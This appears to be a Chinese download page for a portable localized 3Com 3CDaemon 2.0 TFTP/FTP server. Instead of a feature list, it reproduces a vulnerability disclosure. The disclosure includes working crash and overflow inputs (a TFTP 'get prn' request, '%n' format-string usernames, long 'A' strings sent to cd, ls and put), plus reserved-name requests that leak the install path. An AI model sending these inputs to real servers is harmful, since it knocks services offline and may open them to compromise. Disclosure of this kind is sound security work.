3COM 3CDaemon(tftp软件)v2.0 汉化免安装版

功能介绍

1、TFTP保留设备名拒绝服务攻击：

提交类似如下的请求，可导致TFTP服务程序挂起：

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn

The 3CDaemon will be crashed with some msgs like

"Microsoft Visual C++ Runtime library"

"Runtime Error!"

"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "

"abnormal program termination".

2、FTP用户名存在格式串问题：

提交包含格式串字符作为用户名数据，可导致守护程序崩溃：

H:\>ftp 192.168.0.1

Connected to 192.168.0.1.

220 3Com 3CDaemon FTP Server Version 2.0

User (192.168.0.1:(none)): %n

Connection closed by remote host.

OR:

H:\>ftp 192.168.0.1

Connected to 192.168.0.1.

220 3Com 3CDaemon FTP Server Version 2.0

User (192.168.0.1:(none)): %s

331 User name ok, need password

Password:[anythinghere]

530 Login access denied

Login failed.

ftp>

3、FTP超长用户名缓冲区溢出

由于对用户名缺少正确边界缓冲区检查，提交超长用户名可导致缓冲区溢出：

D:\WINDOWS\system32>ftp 192.168.0.1

Connected to 192.168.0.1.

220 3Com 3CDaemon FTP Server Version 2.0

User (192.168.0.1:(none)):

501 Invalid or missing parameters

Login failed.

ftp> user AAA..[about 241 A here]...AAAAA

Connection closed by remote host.

4、多个FTP命令超长参数缓冲区溢出：

cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD等FTP命令对参数缺少充分边界检查，提交超长字符串作为命令参数可导致缓冲区溢出：

ftp> cd AAA..[about 398 A here]...AAAAA

Connection closed by remote host.

ftp>

ftp> ls AAA..[about 247 A here]...AAAAA

200 PORT command successful.

Connection closed by remote host.

ftp> put 1.txt AAA..[about 247 A here]...AAAAA

200 PORT command successful.

532 Need account for storing files

Connection closed by remote host.

5、多个FTP命令存在格式串问题

提交格式字符串作为参数，可导致程序崩溃。

6、多个FTP命令包设备名信息泄露问题

请求保留设备名可导致返回程序安装路径信息：

ftp> cd aux

550 aux : C:/3cdaemon/aux is not a directory!

ftp> cd lpt1

550 lpt1 : C:/3cdaemon/lpt1 is not a directory!

受影响系统：

3Com 3CDaemon 2.0 revision 10

哈，看来存在不少漏洞，不建议下载。